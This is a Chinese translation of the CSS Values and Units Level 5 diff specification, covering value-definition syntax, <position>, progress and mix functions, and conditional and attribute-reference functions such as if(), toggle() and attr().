1. 引言
这是针对 CSS数值与单位4级 的差异规范(diff spec)。
1.1. 模块交互
本模块扩展了 [CSS-VALUES-4],该模块替换并扩展了 [CSS21] 的以下部分的数据类型定义:1.4.2.1、4.3,以及A.2。
2. 文本数据类型
3. 值定义语法
参见 CSS值4级 § 2 值定义语法。
另外,
- 条件记号的布尔组合。 使用 <boolean-expr[]> 记号书写, 表示以递归布尔逻辑运算(使用关键字和括号)组成的表达式, 作用于方括号中指定的语法, 例如 <boolean-expr[ ( <media-feature> ) ]> 来表达 媒体查询。
3.1. 函数式记号定义
3.1.1. 函数参数中的逗号
函数式记号通常用逗号分隔其内部语法各部分。 然而,某些函数(如 mix()) 允许值本身包含逗号。 这些值(目前有 <whole-value>、<declaration-value> 和 <any-value>) 被称为可包含逗号的产生式。
为便于对这类语法作无歧义处理, 可包含逗号的产生式可以选用花括号 { } 包裹。 这些花括号仅为语法外壳,不属于实际值本身。 具体说明如下:
-
可包含逗号的产生式可以以“{”开头,也可以不以其开头。
-
如果不是用“{”开头,则不得包含逗号或 {} 块,且仍需遵循自身的其它限制。 (此产生式于此处停止解析,逗号或 {} 块会被下一个语法项匹配,往往就是函数自身参数分隔用的逗号。)
-
如以“{”开头,则该产生式仅匹配此“{”所开启的 {} 块, 代表该块的内容,应用其自身对内容的限制,不考虑 {} 包裹本身。
random-item ( <random-caching-options>, [ <declaration-value>?] #)
其中 # 表示逗号分隔的重复项, 所以随机选择三个关键字时,写法类似于:
font-family : random-item ( --x, serif, sans-serif, monospace);
有时待选值本身需要包含逗号。此时,用 {} 包裹值,就可以将其内的逗号与函数参数分隔逗号区分开:
font-family : random-item ( --x, { Times, serif}, { Arial, sans-serif}, { Courier, monospace});
这样就会在三组字体家族列表中随机选择一个: Times, serif 、 Arial, sans-serif 或 Courier, monospace。
这不是全有全无;需要时你可以只对部分参数使用 {},其他部分可不加。你也可以在不严格要求的情况下,出于保险考虑对某一值使用花括号。例如:
font-family : random-item ( --x, { Times, serif}, sans-serif, { monospace});
此例表示可随机选择三个字体家族列表:Times, serif,sans-serif 或 monospace。
然而,这种 {} 包裹只允许用于部分函数参数(那些被定义成可包含逗号的产生式)。若对其他参数使用 {} 包裹则无效,会导致匹配语法失败、产生无效值。例如下例就是无效写法:
background-image : linear-gradient ( to left, { red}, magenta);
注意: 由于 {} 包裹在不需要时也允许使用,因此在作者不确定某值是否会包含逗号时,可防御性地加上花括号。比如因 任意替换函数 (如 var() )的影响,font-family: random-item(--x, {var(--list1)}, monospace) 无论 --list1 自定义属性内是否有逗号,这种写法都能正确工作。
函数式记号在可行时应避免带 {} 包裹输出。
下列通用产生式属于可包含逗号的产生式:
为兼容历史, <declaration-value> 作为 var() 的回退值定义时属于非严格可包含逗号的产生式。 即:如果不是以“{”开头,可以允许包含逗号和 {} 块,忽略对内容的常规限制。 但如以“{”开头,仍按可包含逗号的产生式的标准规则处理:回退值就是 {} 内容本身,不包括包裹的 {}。
其他上下文可以定义为采用非严格可包含逗号的产生式,但除非必要不推荐这样做。
3.2. 布尔表达式乘子 <boolean-expr[]>
多个上下文 (如 @media、@supports、if() 等) 都指定了条件表达式,并允许用布尔逻辑(与/或/非和分组)组合条件。 这些内容都采用了相同的递归语法结构, 所以特别定义了 <boolean-expr[]> 产生式,用于通用表示此类模式。
<boolean-expr[]> 记号对其内部以方括号声明的值类型进行包装, 例如 <boolean[ <test> ]>,意义是既可表示该类型单独存在,也可通过内嵌布尔逻辑(使用 not、 and、or 关键字与小括号分组)组合,形式等价于:
<boolean-expr[ <test>] > = not <boolean-expr-group> | <boolean-expr-group>[ [ and <boolean-expr-group>] * |[ or <boolean-expr-group>] *] <boolean-expr-group> = <test> |( <boolean-expr[ <test>] >) | <general-enclosed>
<boolean-expr[]> 产生式表示真值、假值或未知值。其值采用三值Kleene逻辑计算, 对于顶层未知(未直接嵌套于另一个 <boolean-expr[]> 内的)将被视为 false,除非有特殊说明; 详见附录B:布尔逻辑。
<container-query> = <boolean-expr[ <cq-test>] > <cq-test> =( <size-query>) |style ( <style-query>) |scroll-state ( <scroll-state-query>) <size-query> = <boolean-expr[ ( <size-feature>) ] > | <size-feature> <style-query> = <boolean-expr[ ( <style-feature>) ] > | <style-feature> <scroll-state-query> = <boolean-expr[ ( <scroll-state-feature>) ] > | <scroll-state-feature>
逻辑分支的 <general-enclosed> 允许未来兼容性——除非特殊说明,老版本UA遇到新表达式会当作“未知”处理,不会使语法失效。 为与此规则一致,<boolean-expr[]> 语法中的 <test> 项应定义为能够匹配 <general-enclosed>。
3.3. 在CSS中指定CSS语法:<syntax> 类型
CSS中某些特性(如 attr() 函数 或已注册自定义属性),允许你声明另一个值的具体解析方式。 这通过 <syntax> 产生式声明, 其格式类似于规范中用于定义CSS特性的 值定义语法,用于表示 语法定义:
<syntax> = '*' | <syntax-component> [ <syntax-combinator> <syntax-component> ]* | <syntax-string>
<syntax-component> = <syntax-single-component> <syntax-multiplier>?
| '<' transform-list '>'
<syntax-single-component> = '<' <syntax-type-name> '>' | <ident>
<syntax-type-name> = angle | color | custom-ident | image | integer
| length | length-percentage | number
| percentage | resolution | string | time
| url | transform-function
<syntax-combinator> = '|'
<syntax-multiplier> = [ '#' | '+' ]
<syntax-string> = <string>
<syntax-component> 包括 以 <> 包裹(尖括号)的 <syntax-type-name>,对应 受支持语法组件名称之一;或者为 <ident>,代表任意关键字。 同时,<syntax-component> 可带有 乘子,表示值的 列表。
注意: 这意味着 <length> 与
length 是两种不同类型:前者描述为 <length>,而后者为关键字 length。
多个 <syntax-component> 可以通过 |
<delim-token> 组合,以指定顺序依次匹配相应值。
* <delim-token> 代表 通用语法定义。
<transform-list> 语法表示方便写法,等价于 <transform-function>+。注意,<transform-list> 后不能跟 <syntax-multiplier>。
空白字符不允许出现在 <delim-token>(< >)与其包含的 <syntax-type-name>
之间,也不得出现在 <syntax-multiplier> 之前。
注意:这些空白字符限制也适用于 <transform-list>。
<syntax-string> 是 <string> ,其值可作为 <syntax> 成功解析,并与该 <syntax> 表示的值等价。
注意:<syntax-string> 主要为历史遗留——在定义 <syntax> 前,@property 规则就用 <string> 表示。
3.3.1. 作为 <syntax> 进行解析
<syntax> 的用途通常是指定如何解析另一个值 (比如已注册自定义属性值 或 attr() 的属性值)。 但通用的 按CSS语法解析内容 算法 返回的是未指定的内部结构,因为解析结果可能有歧义,需要后续处理。
为避免上述问题并获得明确结果,应当使用 用 <syntax> 解析:
-
解析组件值列表自values, 记 raw parse 为结果。
-
如传入 el,则对 raw parse 应用任意替换函数替换,并设为结果。
-
按 CSS语法规则,用 syntax 解析 values, 对遇到 * 语法的情况视为
<declaration-value>?, 记 parsed result 为结果。 如 syntax 用了 | 组合,则取第一个匹配分支的解析结果。 -
若 parsed result 为失败,则返回 保证无效值。
-
断言:此时 parsed result 已为一个或多个CSS值的明确定义列表, 因为每个 <syntax> 分支都定义了解析结果是无歧义的(或 * 语法自身已无歧义)。
-
返回 parsed result。
注意:该算法不会将解析值进一步转为 计算值;通常具体使用场景会自行计算,如未则需调用方单独处理。
4. 对四级值类型的扩展
参见 CSS数值与单位4级。
4.1. 资源定位符:<url> 类型
参见 CSS值4级 § 4.5 资源定位符:<url> 类型。
4.1.1. 请求URL修饰符
<request-url-modifier> 是影响 <url> 资源 请求的 <url-modifier>, 会按照相关的 URL请求修饰步骤 进行处理。 参见 CSS值4级 § 4.5.4 URL处理模型。
本规范定义了以下 <request-url-modifier>:
<request-url-modifier> = <crossorigin-modifier> | <integrity-modifier> | <referrerpolicy-modifier> <crossorigin-modifier> =crossorigin ( anonymous | use-credentials) <integrity-modifier> =integrity ( <string>) <referrerpolicy-modifier> =referrerpolicy ( no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url)
- <crossorigin-modifier> = crossorigin(anonymous | use-credentials)
-
该修饰符的URL请求修饰步骤如下,给定 request
req:
-
如果指定值为 use-credentials, 则将 request 的 credentials mode 设置为 "include"。
- <integrity-modifier> = integrity(<string>)
- 该修饰符的URL请求修饰步骤为,将 request req 的 integrity metadata 设置为指定的 <string>。
- <referrerpolicy-modifier> = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url)
- 该修饰符的URL请求修饰步骤为,将 request
req 的 referrer policy 设置为与指定值匹配的
ReferrerPolicy。
4.2. 二维定位:<position> 类型
<position> 的值表示 对齐目标(如背景图片)在 对齐容器(如其背景定位区)内作为一对边缘偏移(默认左、上)的定位。 其语法为:
<position> = <position-one> | <position-two> | <position-four> <position-one> =[ left | center | right | top | bottom | x-start | x-end | y-start | y-end | block-start | block-end | inline-start | inline-end | <length-percentage>] <position-two> =[ [ left | center | right | x-start | x-end] &&[ top | center | bottom | y-start | y-end] |[ left | center | right | x-start | x-end | <length-percentage>] [ top | center | bottom | y-start | y-end | <length-percentage>] |[ block-start | center | block-end] &&[ inline-start | center | inline-end] |[ start | center | end] { 2 } ] <position-four> =[ [ [ left | right | x-start | x-end] <length-percentage>] &&[ [ top | bottom | y-start | y-end] <length-percentage>] |[ [ block-start | block-end] <length-percentage>] &&[ [ inline-start | inline-end] <length-percentage>] |[ [ start | end] <length-percentage>] { 2 } ]
如果只指定一个值(<position-one>), 则第二个值默认为 center。
如果给定两个值(<position-two>), 第一个为<length-percentage>时,代表水平偏移,为 对齐目标 与 对齐容器 左边缘间距离; 第二个 <length-percentage> 代表垂直方向偏移,为它们顶边间距离。
如果两个关键字都是 start 或 end, 第一个表示块轴, 第二个表示内联轴。
注意: 一对轴相关关键字可改变顺序,但关键字与长度/百分比不能交换顺序。 如 center left 或 inline-start block-end 合法, 但 50% left 不合法。start 与 end 非特定轴关键字,因此 start end 与 end start 是不同位置。
如果有四个值(<position-four>), 则每个 <length-percentage> 都代表前面关键字指定边缘之间的偏移。 例如,background-position: bottom 10px right 20px 表示相对于底边向上10px,右边向左20px。
正值表示从对齐容器边缘向内的偏移。 负值表示从对齐容器边缘向外偏移。
background-position : left10 px top15 px ; /* 10px, 15px */ background-position: left top; /* 0px, 0px */ background-position:10 px 15 px ; /* 10px, 15px */ background-position: left15 px ; /* 0px, 15px */ background-position:10 px top; /* 10px, 0px */
计算值:<position> 计算值是两个偏移量(水平和垂直), 都以已计算的 <length-percentage> 表示,为 对齐目标与 对齐容器左、上边缘之间的距离。
- <length-percentage>
-
<length-percentage> 值指定 对齐目标
与 对齐容器指定边之间的偏移大小。
例如:background-position: 2cm 1cm 表示背景图片左上角距离其背景定位区左上角右侧2cm,下方1cm。
用于水平偏移的 <percentage>,相对于 (对齐容器宽度 - 对齐目标宽度)。 垂直方向的 <percentage> 相对于 (对齐容器高度 - 对齐目标高度)。
例如,取值 0% 0% 时, 对齐目标左上角与 对齐容器左上角重合;100% 100% 则将 对齐目标右下角放在 对齐容器右下角; 75% 50% 时, 对齐目标中心点(75%宽50%高)对齐到 对齐容器的相同点。
background-position: 75% 50% 的含义示意图。 - top
- right
- bottom
- left
- right
- 分别表示 对齐目标 与 对齐容器 的上/左/右/下边缘偏移,默认偏移为 0% ,以对应轴为准。
- y-start
- y-end
- x-start
- x-end
- y-end
- 结果与相应物理边的关键字一致, 具体为所处 [=y轴|y/x 轴上 start / end 方位对应。
- block-start
- block-end
- inline-start
- inline-end
- block-end
- 结果与相应物理边的关键字一致, 具体为所处块 / 内联轴上的 start / end 方位对应。
- center
- 在对应轴上计算为 50% 偏移。
注意: background-position 属性也接受三值语法。 该语法被泛用禁止,因为与属性值中其他长度或百分比组件结合时,易产生解析歧义。
需要定义当 background-position 的所有(或部分)分量用 var() 时,如何扩展为 longhand 属性。更多详见 [第9690号问题]
4.2.1. <position> 的解析
当与其他关键字、<length> 或 <percentage> 一同出现在语法中时,<position> 会贪婪地解析:尽可能多地消费分量。
4.2.2. <position> 的序列化
对 指定值 为 <position> 时的序列化:
- 仅指定一个分量时:
-
-
自动补全 center 关键字,序列化为两分量值。
-
- 指定两个分量时:
-
-
关键字以关键字形式序列化。
-
<length-percentage> 序列化为 <length-percentage>。
-
分量依顺序,先水平后垂直序列化。
-
- 指定四个分量时:
注意: <position> 的值不会只序列化为单一分量, 即使单值效果等同也是如此,目的是避免某些语法下解析歧义,如 <position> 紧邻 <length> 的场合(如 transform-origin)。
计算值:<position> 以两个 <length-percentage> 偏移(依序为左和上边缘)序列化。
4.2.3. <position> 的组合
插值 <position> 定义为每个分量(x, y)独立进行插值, 且均标准化为以左上角为原点的 <length-percentage> 偏移。
加法 <position> 也是每个分量(x, y)各自独立加法, 并标准化为以左上角为基点的 <length-percentage> 偏移。
5. 插值进度函数式记号
本节为探索性草案,尚未被 CSSWG 批准。[第6245号问题]
progress()、media-progress() 和 container-progress() 函数式记号用于表示某一值(进度值) 从一个值(进度起始值)到另一个值(进度结束值)的比例距离。 它们分别允许对 数学函数、 媒体特性 和 容器特性 求进度比例, 使用共同的语法模式:
progress-function () =progress-function ( progress value from start value to end value)
计算所得数值可继续用于其他运算,比如 数学函数 或 混合记号等。
5.1. 计算进度值:progress() 记号
progress() 函数式记号 返回一个 <number> 值, 表示一个 计算(进度值) 在另外两个 计算(进度起始值 和 进度结束值)之间所处的位置。 progress() 属于数学函数。
progress() 的语法如下:
<progress () > =progress ( <calc-sum>, <calc-sum>, <calc-sum>)
三个 <calc-sum> 参数分别代表 进度值、进度起始值及进度结束值。
参数计算可得出任何 <number>、<dimension> 或 <percentage>, 但三者类型须一致,否则整个函数无效。
progress() 的值为 <number>,其结果为计算进度函数的输出,并经过与参数类型一致化。
是否需要 percent-progress() 记号,还是已有场景会自动转换无需此函数?
注意:progress() 本质上是 calc() 特定表达式的语法糖,因此属于数学函数。
5.2. 媒体查询进度值:media-progress() 记号
与 progress() 类似, media-progress() 函数式记号 返回一个 <number> 值, 代表当前指定媒体查询[MEDIAQUERIES-4] 的取值(作为进度值), 介于该媒体查询的两个明确区间(作为进度起始值和进度结束值)。
media-progress() 的语法如下:
<media-progress () > =media-progress ( <mf-name>, <calc-sum>, <calc-sum>)
其中,媒体特性对应的 <mf-name> 为进度值, 两个 <calc-sum> 表示进度起始值和进度结束值。
指定的媒体特性必须为有效的“范围型”特性, 所给 进度起始值与 进度结束值 必须为该媒体查询的有效值, 并且二者 计算 类型一致,否则函数无效。
进度起始值和 进度结束值的计算,按媒体特性的规定解释,而非由本函数使用场景决定。
media-progress() 的值为 <number>,通过计算进度函数得到。
注意: media-progress() 不是 数学函数; 它只是一个求解为<number>的普通函数。
5.3. 容器查询进度值:container-progress() 记号
container-progress() 函数式记号 与 media-progress() 语法完全一致, 只是接收 容器特性 [CSS-CONTAIN-3] 替代 媒体特性。
container-progress() 的语法如下:
<container-progress () > =container-progress ( <mf-name>[ of <container-name>] ?, <calc-sum>, <calc-sum>)
其中 <mf-name> 代表 尺寸特性,可选 <container-name> 用于指定容器分组,在选取要对比的容器时生效。 尺寸特性的当前值为进度值, 两个 <calc-sum> 分别为 进度起始值 和 进度结束值。
指定的<mf-name> 必须为有效的尺寸特性, 指定的 进度起始值 和 进度结束值 必须为该 尺寸特性 的有效值, 并且两组 计算 类型一致,否则函数无效。 container-progress() 只能用在属性值上下文中,不能用在如媒体查询中等位置。
进度起始值和 进度结束值的计算,按尺寸特性的定义解释,而非调用上下文。如找不到合适的容器,container-progress() 会基于<size-feature> 查询 小型视口尺寸 得出进度。
media-progress() 的值为 <number>,通过计算进度函数得到。
注意:container-progress() 不是 数学函数; 它只是一个返回 <number> 的普通函数。
6. 混合与插值表达法:*-mix() 系列
该特性 在处理多个断点时表现不佳, 并且 可能需要重新设计。 [Issue #6245]
CSS 中的若干 mix 表达式 允许表示两个值之间的插值, 即 混合起始值 与 混合结束值, 在它们之间某一给定进度处的值(混合进度值)。 这些 函数式表示法 遵循如下语法模式:
mix-function () =mix-function ( <progress>, [ =mix start value|start-value=] , [ =mix end value|end-value=] )
CSS 中的 mix 表达式 包括:
-
calc-mix(), 用于插值 <length>、<percentage>、<time>, 以及其他可在 calc() 表达式中表示的尺寸值
-
color-mix(), 用于插值两个 <color> 值
-
cross-fade(), 用于插值 <image> 值
-
palette-mix(), 用于插值两个 font-palette 值
最后还有通用的 mix() 表达式, 它可以表示任何属性值的插值 (但只能表示整个属性值,而不能表示单个组件)。
注: cross-fade() 表达式 还有一种替代语法, 允许混合多于两个的值, 但不允许像 <progress> 那样更复杂的表达式。
mix() 表达式还有一个 变体接受一组关键帧。 它通过引用一个 @keyframes 规则, 并将相应的属性声明取出。 希望允许其他 mix 表达式也接受关键帧, 但如何为一个 组件值(而不是完整的属性值)表示一组关键帧呢?
6.1. 表示插值进度:<progress> 类型
<progress> 值类型表示 在 mix 表达式 中的 混合进度值, 并最终解析为一个百分比。 它可以从媒体查询和动画时间线等来源获取该百分比值, 在用于插值之前也可以通过 缓动函数 进行转换。
其语法定义如下:
<progress> =[ <percentage> | <number> | <'animation-timeline' >] &&[ by <easing-function>] ?
其中:
- <percentage-token>
-
计算为等效的 <number>:
0% 变为 0,100% 变为
1,等等。
注: 这仅允许字面上的百分比, 如 15%; 像 calc(100% / 7) 这样的计算式将不能工作, 因为它们会尝试使用将百分比解析为另一类型的常规规则 (例如在 <length>(在 width 中))。 应使用像 calc(1 / 7) 这样的表达式。
- <number>
-
表示 混合进度值。
注: 这允许使用 progress()、 media-progress() 和 container-progress() 表示法。
- <'animation-timeline'>
- 表示将指定 动画时间线 的进度作为混合进度值。 但值 none 和 auto 无效。 [CSS-ANIMATIONS-2] [WEB-ANIMATIONS-2]
- <easing-function>
- 使用指定的 混合进度值 作为输入,并通过指定的 缓动函数 将其转换为输出的混合进度值。 [CSS-EASING-1]
注: 小于 0 和大于 1 的进度值是有效的; 它们允许表示超出起始值和结束值范围的插值。
注: 虽然 <progress> 本身 可以是一个 <percentage>, 并直接映射为等效的 <number>, 一些解析为 <number> 的函数, 如 progress(), 会使用上下文的一般规则来解析 <percentage>; 例如,在 width 中, 它们会相对于一个长度来解析。
使用 computed value 语义时,若 <progress> 值使用 <percentage> 或 <number> 指定, 则其计算值为通过(若有)<easing-function> 转换后的 <number>。 若 <progress> 值以 <'animation-timeline'> 指定, 则其计算值为该 <'animation-timeline'> 和(若有)<easing-function> 的计算值。
6.2. 插值的数值与尺寸值:calc-mix() 表达式
calc-mix() mix 表达式 表示一个插值的数值或尺寸值。 像 calc() 一样,它是一个 数学函数, 具有如下语法形式:
<calc-mix () > =calc-mix ( <progress>, <calc-sum>, <calc-sum>)
这两个 <calc-sum> 参数可以解析为任意 <number>、<dimension> 或 <percentage>, 但必须具有 一致的类型,否则该函数无效。 结果的类型将是该 一致类型,并根据 使类型一致的规则 与 <progress> 值的类型进行协调。
一个有效的 calc-mix() 的 used value 是将这两个值按给定的 <progress> 进行插值的结果。 如果 <progress> 值可以计算为一个 <number>, 那么 computed value 同样是将两个 computed values 插值到该 <progress> 值的结果 (换句话说,A * (1-progress) + B * progress) 否则它就是 calc-mix() 表达式本身, 其参数各自根据它们的类型被计算。
6.3. 插值的颜色值:color-mix() 表达式
本规范将 color-mix() 函数式表示法 扩展为一种 mix 表达式,接受以下语法:
<color-mix () > =color-mix ( [ <progress> && <color-interpolation-method>?] , <color>, <color>) |color-mix ( <color-interpolation-method>, [ <color> && <percentage[ 0 , 100 ] >?] #{ 2 } )
第一个 mix 表达式 变体的 used value 等同于将 <progress> 值作为 <percentage>,赋给第二个变体中第二个 <color> 参数的百分比。也就是说, color-mix(progress, color1, color2) 等价于 color-mix(color1, color2 progress)。 规范性的第二种变体定义见 CSS Color 5 § 3 混合颜色:color-mix() 函数。
<progress> 允许 返回 0–100% 之外的百分比, 但 color-mix() 不允许此类值, 因此需要定义该如何处理此情况。
6.4. 插值的图像值:cross-fade() 表达式
本规范将 cross-fade() 的 函数式表示法 扩展为一种 mix 表达式,接受以下语法:
<cross-fade () > =cross-fade ( <progress>, [ <image> | <color>] , [ <image> | <color>] ) |cross-fade ( <cf-image>#)
第一个 mix 表达式 变体的 used value 等同于将 <progress> 值 作为第二个变体中第二个 <color> 参数的百分比。也就是说, cross-fade(progress, image1, image2) 等价于 cross-fade(image1, image2 progress)。 规范性的第二种变体定义见 CSS Images 4 § 2.6 合成图像:cross-fade() 表达式。
6.5. 插值的变换值:transform-mix() 表达式
transform-mix() mix 表达式 表示一个插值的 <transform-list>, 其语法如下:
<transform-mix () > =transform-mix ( <progress>, <transform-list>, <transform-list>)
一个有效的 used value 的 transform-mix() 是将这两个值按 <progress> 给定的进度进行插值的结果。 如果 <progress> 值可以计算为一个 <percentage>, 并且这些 <transform-list> 可以在不依赖 used-value-time 信息的情况下被插值, 则 computed value 也将是将两个 computed values 按该 <progress> 值插值的结果; 否则,它就是 transform-mix() 表达式本身, 其参数各自按它们的类型被计算。
transform-mix() 本身是一个 <transform-function>。
6.6. 插值的属性值:mix() 表达式
任何两项属性值的插值 可以用 mix() mix 表达式 表示, 它支持两种替代语法模式:
<mix () > =mix ( <progress>, <whole-value>, <whole-value>) |mix ( <progress> && of <keyframes-name>)
第一种语法替代,与其他 mix 表达式 类似, 在其第一项 <whole-value>(即其 混合起始值)与第二项 <whole-value>(即其 混合结束值)之间插值。 第二种则使用 混合进度值 从一组关键帧中插值相应的属性声明, 允许更复杂的插值曲线。
对于标准的 mix 表达式 变体, 如果被 mix() 插值的两个 <whole-value> 在使用该属性时是可插值的, 且插值得到的值可以不使用 mix() 表示, 则 mix() 的 computed value 是将这两个值按 <progress> 给定的进度插值的结果。 否则, mix() 的 computed value 是 mix() 的 函数式表示法 本身, 其 <progress> 值被计算, 并且其 <whole-value>(如果提供)按该属性的值进行计算。
color : mix ( 90 % , red, blue); /* 通过简单插值, 计算为: */ color:rgb ( 10 % 0 90 % ); color : mix ( 90 % , currentcolor, black); /* 无法在计算值阶段完全解析, 但仍有明确的表示: */ color:color-mix ( currentcolor90 % , black10 % ); float : mix ( 90 % , left, right); /* 离散可动画 */ float: right;
但有少数情况没有中间表示:
transform : mix ( 90 % , translate ( calc ( 1 em +50 % )), rotate ( 30 deg )); /* 因为函数不匹配,它将通过 matrix() 插值。*/ /* 但 translate(%) 需要布局信息才能转换为 matrix(),*/ /* 因此插值后的值实际上无法被表示。*/ /* 计算为: */ transform:mix ( 90 % , translate ( calc ( 16 px +50 % )), rotate ( 30 deg )); transform : mix ( 90 % of ripple);
mix() 表达式 是一个 <whole-value>。 另外, 如果其任一 <whole-value> 参数是 不可动画的, 则该表示法无效。
/* 无效的起始值 */ color:mix ( 90 % , #invalid, #F00); /* 函数与其他值混合 */ background:url ( ocean ) mix ( 10 % , blue, yellow); /* 'animation-*' 不可动画 */ animation-delay:mix ( 0 % , 0 s , 2 s );
7. 杂项值替换函数
7.1. 表示完整属性值:<whole-value> 类型
本规范中定义的若干函数 只能作为属性的“完整值”使用。 例如,background-position: toggle(50px 50px, center); 是合法的, 但 background-position: toggle(50px, center) 50px; 则不合法。 <whole-value> 产生式用于表示这些值。
所有属性隐式地都接受 <whole-value> 作为它们的整个值, 就像它们接受 CSS 全局关键字作为整个值一样。
当作为函数的组件值使用时,<whole-value> 也可以表示 在其使用的属性中通常作为完整值的任意 CSS 值 (包括附加的 <whole-value> 函数)。 不过,有些函数可能会限制 <whole-value> 参数可包含的内容。
7.2. 选择第一个支持的值:first-valid() 表达式
CSS 通过向前兼容的解析方式支持渐进增强: 作者可以在样式规则中多次声明同一个属性, 每次用不同的值, CSS 用户代理会自动使用它能理解的最后一个值, 其余的会被忽略。 这一原则,加上 @supports 规则, 让作者能够编写在新旧用户代理下同时良好工作的样式表。
但如果用 var()(或类似的解析在解析完成后才发生的替换函数), 就会破坏上述机制; CSS 用户代理在解析阶段必须假定属性值是合法的。
first-valid() 函数式表示法 内联了 声明解析内在的回退行为。 与大多数表示法不同, 它的参数可以接受任何合法或非法的语法, 并将其参数中第一个被用户代理支持(被当做合法解析)的值 作为属性的整体值来表示。
<first-valid () > =first-valid ( <declaration-value>#)
如果所有参数都不构成属性的合法值, 则此属性在 计算值阶段无效。
first-valid() 是 <whole-value>。
注: 虽然实际上接收<whole-value>作为参数,first-valid() 实际上被定义为接收<declaration-value>参数, 因为按定义它是为了用在“参数值本身对声明来说有可能是非法”的场景。 <declaration-value> 不会像 <whole-value> 那样强加上下文合法性限制。
7.3. 条件值选择:if() 表达式
if() 表达式是一种任意替换函数,用于表示条件值。 它参数由一个有序、分号分隔的语句列表组成, 每条语句包含一个条件 跟着一个冒号 以及一个值。 一个 if() 表达式代表 参数列表中第一个条件成立时对应的值; 如果没有条件匹配, 那么 if() 表达式代表一个空的 token 流。
if() 表达式 的语法定义如下:
<if () > =if ( [ <if-condition> : <declaration-value>?; ] * <if-condition> : <declaration-value>?; ?) <if-condition> = <boolean-expr[ <if-test>] > | else <if-test> =supports ( [ <supports-condition> | <ident> : <declaration-value>] ) |media ( <media-query>) |style ( <style-query>)
else 关键词代表 总为真的条件。
要解析 if() 函数, 返回第一个成立的 <declaration-value>; 如果都不为 true, 则返回空(即空 token 流)。
注: 与使用 @media/@supports/@container 规则不同, 它们条件为假时仅忽略内部内容并交由层叠顺序决定其它值生效与否。 包含 if() 的声明若条件不满足不会回退到层叠; 任何回退值都必须内联给出。
7.4. 在多个值间切换:toggle() 表达式
toggle() 表达式允许后代元素 在一个值列表中循环选取,而不是继承同一个值。
ul{ list-style-type : toggle ( disc, circle, square, box); }
toggle() 表达式的语法为:
<toggle () > =toggle ( <whole-value>#)
toggle() 表达式属于 <whole-value>。 但它不允许嵌套使用, 也不能包含 attr() 或 calc() 表达式; 包含上述内容的声明是无效的。
background-position : 10 px toggle ( 50 px , 100 px ); /* toggle() 必须作为该属性的唯一值*/ list-style-type:toggle ( disc, 50 px ); /* 50px 不是 'list-style-type' 的有效值 */
确定 toggle() 计算值时, 首先分别以该属性唯一值的方式解析每一个参数 得到它们各自代表的计算值, 记为 Cn(第 n 个参数)。 然后,将属性的继承值 与各 Cn 逐个比较。 若最早匹配上 继承值 的为第 n 个, 则 toggle() 的计算值为 Cn+1。 如果命中的正好是最后那个参数, 或没有命中, 那么 toggle() 的计算值就是第一个参数的解析值。
注: 这意味着 toggle() 中值重复会导致提前截断。 比如 toggle(1em, 2em, 1em, 4em) 等效于 toggle(1em, 2em)。
注: toggle() 明确比较父元素的计算值, 所以即使是非继承属性也能工作。 这与 inherit 关键字类似, 即使是在非继承属性上也起效。
注: 属性 计算值 是抽象的值集, 而不是某种序列化字符串 [CSS21], 因此计算值之间的比较总是明确一致、符合预期的。 比如, Level 2 的 background-position 计算值 只是两个偏移,各自用绝对长度或百分比表示, 因此 background-position: top center 和 background-position: 50% 0% 所得计算值完全一样。 若属性定义的“计算值”描述模糊或过于严格, 请反馈意见,以便修订。
如果对toggle()用于简写属性时, 会把每个长属性都设为参数展开后与该长属性对应的一组 toggle() 值, 相当于原 toggle() 每个参数单独作为简写属性取值时长属性应得到的参数。
margin : toggle ( 1 px 2 px , 4 px , 1 px 5 px 4 px );
等价于如下展开的长属性声明:
margin-top : toggle ( 1 px , 4 px , 1 px ); margin-right : toggle ( 2 px , 4 px , 5 px ); margin-bottom : toggle ( 1 px , 4 px , 4 px ); margin-left : toggle ( 2 px , 4 px , 5 px );
注意,由于 1px 在 top、4px 在 bottom 出现两次, 它们循环时实际上只有两个值, 而 left/right 仍按三值轮转。 也就是说,以上声明与下述长属性写法效果一致:
margin-top : toggle ( 1 px , 4 px ); margin-right : toggle ( 2 px , 4 px , 5 px ); margin-bottom : toggle ( 1 px , 4 px ); margin-left : toggle ( 2 px , 4 px , 5 px );
这可能与预期不符。
7.5. 自定义属性引用:var() 表达式
var() 表达式用于替换 自定义属性值, 详见CSS 可级联变量模块。 [CSS-VARIABLES]
7.6. 继承值引用:inherit() 表达式
和 inherit 关键字类似,inherit() 函数式表示法 会解析为父级属性的 计算值。 不过它不是取同名属性值, 而是取第一个参数指定属性的分词 计算值。 第二个参数(如果有)则作为回退, 当第一个参数解析为 保证无效值时使用。
<inherit () > =inherit ( <custom-property-name>, <declaration-value>?)
要解析 inherit() 函数, 返回第一个参数指定的自定义属性的继承值, 若有第二参数则用作回退。
注: 未来 CSS 层级可能允许 inherit() 直接引用标准 CSS 属性;
但因 计算值 的分词化方式目前并未对所有属性完全标准化,
此功能暂缓至 Level 5 之后。
注意 计算值 与 used value 不同,
且不一定等于 getComputedStyle()
得到的 resolved 值;
所以即便能写 inherit(width),
也经常只会返回关键字 auto,
而不是实际像素数值 <length>。
7.7. 属性引用:attr() 表达式
attr() 函数 用选定元素的 属性值替换到属性声明里, 类似 var() 用自定义属性做插值。
attr () =attr ( <attr-name> <syntax>?, <declaration-value>?) <attr-name> =[ <ident-token>'|' ] ? <ident-token>
attr() 的参数为:
- <attr-name>
-
指定所引用属性的名称, 类似 <wq-name>(见 [SELECTORS-3]) 但不可用通配前缀。
如未指定命名空间 (即如 attr(foo) 这样只给名字), 则默认为 null 命名空间。 (通常用不到命名空间,尤其在 HTML 和 SVG 里。) 与 属性选择器一样, <attr-name> 是否区分大小写由文档语言决定。
- <syntax>
-
指定如何 按 CSS 语法解析属性值为 CSS 值。 若解析失败则触发回退。
省略 <syntax> 参数时, 属性的字面文本将作为 CSS 字符串值使用, 无任何 CSS 解析 (包括 CSS 转义、去空格、去注释等)。
注: 这和用 * 作为语法不同, 后者依然触发 CSS 解析 (但只要能解析就行,无额外约束), 直接用解析结果替换, 而不是包装成 <string> 值。
- <declaration-value>
-
为 attr() 指定一个回退值, 当该属性缺失或其值无法按指定类型解析时,将使用此回退值代替属性值。
